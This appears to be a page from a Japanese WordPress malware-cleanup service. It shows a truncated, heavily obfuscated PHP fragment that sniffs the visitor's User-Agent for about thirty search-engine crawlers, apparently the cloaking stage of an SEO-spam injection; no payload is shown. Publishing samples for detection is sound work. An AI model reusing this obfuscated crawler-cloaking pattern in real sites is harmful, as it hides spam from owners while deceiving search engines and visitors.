    $K4pzA4[] =& $_SERVER;
    $K4peF3 = call_user_func_array("is_array", $K4pzA4);
    if ($K4peF3) {
        $K4pcV1 =& $_SERVER['HTTP_USER_AGENT'];
        goto K4px7p;
    }
    $K4pcV1 = $_SERVER['HTTP_USER_AGENT'];
    K4px7p:
    $K4pzA2 = array();
    $K4pzA2[] =& $K4pcV1;
    $K4peF0 = call_user_func_array("strtolower", $K4pzA2);
    unset($K4ptIA5);
    $K4ptIA5 = $K4peF0;
    $useragent = $K4ptIA5;
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'baiduspider';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'baiduspider';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'googlebot';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'googlebot';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = '360spider';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return '360spider';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'soso';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'soso';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'bing';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'bing';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'yahoo';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'yahoo';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'sohu-search';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'Sohubot';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'sogou';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'sogou';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'youdaobot';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'YoudaoBot';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'robozilla';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'Robozilla';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'msnbot';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'msnbot';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'lycos';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'Lycos';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'ia_archiver';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = !$K4peF0;
    $K4pA6 = $K4pA5 === false;
    if ($K4pA6) {
        goto K4px8g;
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'iaarchiver';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = !$K4peF0;
    $K4pA6 = $K4pA5 === false;
    if ($K4pA6) {
        return 'alexa';
    }
    K4px8g:
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'archive.org_bot';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'Archive';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'sitebot';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'SiteBot';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'gosospider';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'gosospider';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'gigabot';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'Gigabot';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'yrspider';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'YRSpider';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'gigabot';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'Gigabot';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'wangidspider';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'WangIDSpider';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'foxspider';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'FoxSpider';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'docomo';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'DoCoMo';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'yandexbot';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'YandexBot';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'sinaweibobot';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'SinaWeiboBot';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'catchbot';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'CatchBot';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'surveybot';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'SurveyBot';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'dotbot';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'DotBot';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'purebot';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'Purebot';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'ccbot';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'CCBot';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'mlbot';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'MLBot';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'adsbot-google';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'AdsBot-Google';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'ahrefsbot';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'AhrefsBot';
    }
    $K4pzA1 = array();
    $K4pzA1[] =& $useragent;
    $K4pzA1[] = 'spbot';
    $K4peF0 = call_user_func_array("strpos", $K4pzA1);
    $K4pA5 = $K4peF0 !== false;
    if ($K4pA5) {
        return 'spbot';
    }
    $K4pzA1 = array();
    $K4pzA1


■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

(C)2019 ワードプレス ドクター All rights reserved.